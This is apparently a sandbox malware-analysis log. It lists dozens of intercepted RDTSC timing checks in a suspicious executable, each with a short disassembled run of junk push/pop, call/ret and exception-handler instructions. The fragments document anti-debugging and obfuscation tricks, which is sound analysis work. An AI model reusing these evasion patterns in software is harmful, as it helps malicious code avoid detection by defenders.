Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE2CA5 second address: DE2CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 6C48C3EAh 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FF1148823C8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jg 00007FF1148823CCh 0x0000002e jmp 00007FF1148823D0h 0x00000033 push E32CAE5Bh 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE2CFC second address: DE2D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE2D00 second address: DE2D16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FF1148823C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE2D16 second address: DE2D1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE3045 second address: DE304B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE3454 second address: DE346F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE346F second address: DE3486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF1148823D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE3486 second address: DE348A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE39A8 second address: DE39AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE39AC second address: DE39C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE3C8E second address: DE3C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE3D95 second address: DE3DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE5BD6 second address: DE5BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE5BDA second address: DE5C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF114F02978h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FF114F0297Eh 0x00000018 jnl 00007FF114F02976h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE5C02 second address: DE5C07 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE659B second address: DE65A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE6E53 second address: DE6E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jns 00007FF1148823CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE7D72 second address: DE7D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE7FA1 second address: DE7FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FF1148823CDh 0x0000000d jmp 00007FF1148823CAh 0x00000012 popad 0x00000013 nop 0x00000014 mov dword ptr [ebp+12471859h], edx 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D2346h], eax 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122DB874h], ecx 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 jmp 00007FF1148823CFh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE7D78 second address: DE7D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE7FEE second address: DE7FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE7FF3 second address: DE8016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF114F02986h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE8016 second address: DE801A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE801A second address: DE8024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE87FD second address: DE8801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE9611 second address: DE9623 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF114F02978h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE9623 second address: DE9627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEA166 second address: DEA1E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02985h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jnc 00007FF114F0297Ch 0x00000012 mov dword ptr [ebp+122D1FD1h], edi 0x00000018 sub si, 534Ah 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FF114F02978h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D2D50h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007FF114F02988h 0x00000046 xchg eax, ebx 0x00000047 jng 00007FF114F02980h 0x0000004d push eax 0x0000004e push edx 0x0000004f push edi 0x00000050 pop edi 0x00000051 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEF0FF second address: DEF103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEF103 second address: DEF176 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF114F02976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007FF114F02985h 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D2346h], eax 0x00000018 push 00000000h 0x0000001a call 00007FF114F0297Ah 0x0000001f jg 00007FF114F0297Ch 0x00000025 pop ebx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FF114F02978h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D180Fh] 0x00000048 mov edi, dword ptr [ebp+122D377Ch] 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 push ecx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEA9C7 second address: DEA9E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF1148823CCh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FF1148823CCh 0x00000014 jnl 00007FF1148823C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF2258 second address: DF225C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF307D second address: DF3081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF3081 second address: DF3085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEF2D0 second address: DEF2DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF1417 second address: DF141D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF2334 second address: DF23AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FF1148823CEh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D1FD1h], edi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b jl 00007FF1148823CCh 0x00000021 mov ebx, dword ptr [ebp+122D187Fh] 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e sub dword ptr [ebp+12482A06h], ecx 0x00000034 mov eax, dword ptr [ebp+122D0C45h] 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FF1148823C8h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push FFFFFFFFh 0x00000056 mov edi, dword ptr [ebp+122D1ABDh] 0x0000005c mov ebx, 49EB5141h 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push ecx 0x00000066 pop ecx 0x00000067 push ebx 0x00000068 pop ebx 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF141D second address: DF1421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF23AD second address: DF23BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF1421 second address: DF14C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF114F02989h 0x0000000e nop 0x0000000f jmp 00007FF114F02983h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov dword ptr [ebp+122D198Eh], esi 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 jmp 00007FF114F0297Dh 0x0000002d mov edi, dword ptr [ebp+122D2BEEh] 0x00000033 mov eax, dword ptr [ebp+122D0BCDh] 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007FF114F02978h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 push FFFFFFFFh 0x00000055 call 00007FF114F02984h 0x0000005a pop edi 0x0000005b nop 0x0000005c push eax 0x0000005d push edx 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF14C0 second address: DF14C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF14C5 second address: DF14EC instructions: 0x00000000 rdtsc 0x00000002 js 00007FF114F0298Dh 0x00000008 jmp 00007FF114F02987h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF5227 second address: DF5231 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF1148823CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF14EC second address: DF14F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF5231 second address: DF52B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 add ebx, dword ptr [ebp+122D1D79h] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FF1148823C8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 and edi, 76BD7D17h 0x0000003d mov eax, dword ptr [ebp+122D10B1h] 0x00000043 mov dword ptr [ebp+122D3015h], esi 0x00000049 push FFFFFFFFh 0x0000004b jnl 00007FF1148823D9h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FF1148823D8h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF14F0 second address: DF14F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF6FE4 second address: DF6FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF52B2 second address: DF52B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF6FEA second address: DF6FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FF1148823C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF7ECA second address: DF7F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FF114F02978h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov ebx, 0896E826h 0x00000028 sub dword ptr [ebp+122D2BA6h], esi 0x0000002e push 00000000h 0x00000030 mov ebx, edx 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+1245C5AAh], ecx 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jmp 00007FF114F02989h 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF7F28 second address: DF7F51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FF1148823D3h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF7F51 second address: DF7F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF8E98 second address: DF8EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jp 00007FF1148823C6h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FF1148823C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF8EB0 second address: DF8EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFA03D second address: DFA09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D6h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FF1148823C8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push eax 0x00000028 mov dword ptr [ebp+122D1833h], ecx 0x0000002e pop ebx 0x0000002f mov edi, ecx 0x00000031 push 00000000h 0x00000033 xor dword ptr [ebp+122D2767h], edi 0x00000039 push 00000000h 0x0000003b sub ebx, dword ptr [ebp+122D1C63h] 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFA09D second address: DFA0BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FF114F02976h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFA0BC second address: DFA0D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FF1148823CCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFA0D2 second address: DFA0D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF80E9 second address: DF80F7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF1148823C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF80F7 second address: DF810C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF9084 second address: DF9089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF9089 second address: DF908F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF908F second address: DF9093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DF722C second address: DF7230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC1D0 second address: DFC1DD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF1148823C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC1DD second address: DFC1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c js 00007FF114F02976h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC1F0 second address: DFC1FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF1148823C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC1FA second address: DFC24A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FF114F02978h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 and bl, 0000001Eh 0x00000026 push 00000000h 0x00000028 mov bh, ah 0x0000002a push 00000000h 0x0000002c mov ebx, dword ptr [ebp+122D3744h] 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007FF114F0297Dh 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC24A second address: DFC24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFC456 second address: DFC477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF114F02982h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFD3A1 second address: DFD3A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFD3A6 second address: DFD3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF114F02983h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFF831 second address: DFF836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
